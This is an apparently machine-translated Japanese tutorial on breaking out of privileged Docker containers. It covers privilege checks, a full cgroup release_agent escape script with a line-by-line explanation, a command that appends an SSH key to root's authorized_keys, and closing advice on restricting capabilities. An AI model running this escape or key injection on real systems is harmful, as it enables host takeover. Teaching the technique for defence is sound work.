Docker特権コンテナーは、フラグを付けて実行されるコンテナーです
--privileged。通常のコンテナとは異なり、これらのコンテナはホストマシンへのルートアクセス権を持っています。
特権コンテナは、タスクを実行するためにタスクがハードウェアに直接アクセスする必要がある場合によく使用されます。ただし、特権Dockerコンテナを使用すると、攻撃者がホストシステムを乗っ取ることができます。今日は、特権コンテナを終了する方法を説明します。
脆弱なコンテナを検索する
特権コンテナ内にいることをどのように判断できますか?
自分がコンテナに入っていることをどうやって知るのですか?
Cgroupsコントロールグループの略です。このLinux機能はリソースの使用を分離し、Dockerがコンテナを分離するために使用するものです。のinitプロセスのcgroupを確認することで、コンテナ内にいるかどうかを確認できます/proc/1/cgroup。コンテナ内にいない場合、コントロールグループは/になります。繰り返しますが、コンテナ内にいる場合は、代わりにが表示され/docker/CONTAINER_IDます。
コンテナに特権があるかどうかはどうやってわかりますか?
コンテナ内にいると判断したら、それが特権を持っているかどうかを理解する必要があります。これを行う最良の方法は、フラグが必要なコマンドを実行して、
--privilegedそれが機能するかどうかを確認することです。
たとえば
dummy、コマンドを使用してインターフェイスを追加してみることができますiproute2。このコマンドNET_ADMINは、特権がある場合、コンテナが持っているへのアクセスを必要とします。
$ ip link add dummy0 type dummy
コマンドが成功した場合、コンテナには機能があると結論付けることができます
NET_ADMIN。そしてNET_ADMIN今度は、それは特権のある一連の機能の一部であり、それを持たないコンテナーには特権がありません。dummy0このテストの後、次のコマンドを使用してリンクを削除できます。
ip link delete dummy0
コンテナからの脱出
では、どのようにして特権コンテナの外に出ますか?次のスクリプトは、ここで役立ちます。この例と概念の証明は、Trail ofBitsブログから引用したものです。概念をさらに深く掘り下げるには、元の記事を読んでください。
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
この概念の証明は、
release_agentからの関数を使用しますcgroup。
最後のプロセスがで終了した後、
cgroup終了した作業を削除するコマンドが実行されますcgroups。このコマンドはファイルで指定release_agentされroot、ホストコンピューターと同様に実行されます。デフォルトでは、この機能は無効になっており、パスrelease_agentは空です。
このエクスプロイトは、ファイルを介してコードを実行します
release_agent。を作成しcgroup、そのファイルrelease_agentを指定して開始しrelease_agent、のすべてのプロセスを強制終了する必要がありますcgroup。仮説テストの最初の行は、新しいグループを作成します。
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
以下に機能が含まれています
release_agent。
echo 1 > /tmp/cgrp/x/notify_on_release
さらに次の数行で、ファイルへのパスが登録され
release_agentます。
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
次に、コマンドファイルへの書き込みを開始できます。このスクリプトはコマンドを実行
ps auxし、ファイルに保存します/output。スクリプトのアクセスビットも設定する必要があります。
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
最後に、作成したcgroupですぐに終了するプロセスを生成して、攻撃を開始します。スクリプト
release_agentは、プロセスの完了後に実行されます。これps auxで、ホストマシンの出力をファイルで読み取ることができます/output。
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
この概念を使用して、ホストシステムで必要なコマンドを実行できます。たとえば、これを使用してSSHキーを
authorized_keysrootユーザーファイルに書き込むことができます。
cat id_dsa.pub >> /root/.ssh/authorized_keys
攻撃の防止
この攻撃をどのように防ぐことができますか?コンテナにホストシステムへのフルアクセスを許可するのではなく、必要な権限のみを付与する必要があります。
Dockerの機能により、開発者はコンテナに権限を選択的に付与できます。通常はルート
accessにパッケージ化されている権限を個別のコンポーネントに分割することが可能になります。
デフォルトでは、Dockerはコンテナからすべての権限を取得し、それらを追加する必要があります。
cap-dropおよびフラグを使用して、アクセス許可を削除または追加できcap-addます。
--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES
たとえば、コンテナを与える代わりに、1024未満のポートに接続する必要がある場合は、コンテナ
root accessをそのままにしNET_BIND_SERVICEます。このフラグは、コンテナに必要な権限を与えます。
--cap-add NET_BIND_SERVICE
結論
可能な限り、フラグ付きのDockerコンテナを実行しないでください
--privileged。特権コンテナを使用すると、攻撃者はコンテナを終了してホストシステムにアクセスできるようになります。代わりに、フラグを使用してコンテナに個別に許可を与え--cap-addます。
続きを読む
- Linuxカーネルの機能
- Dockerを安全に使用する
- 特権コンテナを操作するためのセキュリティのベストプラクティス
- レッドチームの戦術:攻撃的な操作における高度な監視技術
- ペンテスト。浸透試験の実践または「倫理的ハッキング」。OTUSからの新しいコース
コースの詳細をご覧ください。